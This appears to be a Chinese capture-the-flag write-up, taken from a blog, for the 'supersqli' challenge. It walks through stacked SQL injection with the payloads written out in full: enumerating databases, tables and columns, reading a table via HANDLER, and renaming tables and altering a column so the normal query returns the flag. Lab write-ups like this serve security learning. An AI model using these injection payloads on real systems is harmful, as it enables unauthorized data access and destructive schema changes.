攻防世界 supersqli

本道题考查的是sql注入中的堆叠注入

 

 该题只有一个查询框,我们尝试使用联合注入,但是发现select等被过滤了

 

 所以我们尝试使用堆叠注入,堆叠注入就是使用分号隔开要执行的多条sql语句,且可执行任意的sql语句,而union联合注入执行的语句类型是有限的

 执行以下payload:

1';show databases;#
1';show tables from supersqli;#

 

然后我们依次查看两个表中的列名,再爆字段

1';show columns from `1919810931114514`;#

我们找到了flag列,但是select被过滤我们只能尝试其他方法

方法一: handler查询

有关handler的姿势可看这篇文章:

https://blog.csdn.net/qq_43427482/article/details/109898934

 payload如下:

-1';handler `1919810931114514` open as p;handler p read first;#

 方法二:改名法

这道题没有过滤rename和alter,我们先康康正常查询的时候查的是哪个表

猜测一下默认查的是supersqli库的words表

-1';handler words open as a;handler a read next;#

 这里查询的结果和直接输入1是一样的,这样验证了我们的猜想,所以接下来我们把表1919810931114514改成words,字段名flag改为id然后直接查询就可以得到flag了

改名的语法介绍可参考以下文章:

https://www.jianshu.com/p/e05b8852b725

https://blog.csdn.net/y_18800130246/article/details/120288110

1';rename tables words to words1;rename tables `1919810931114514` to words; alter table words change flag id varchar(100);#
1' or 1=1#

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值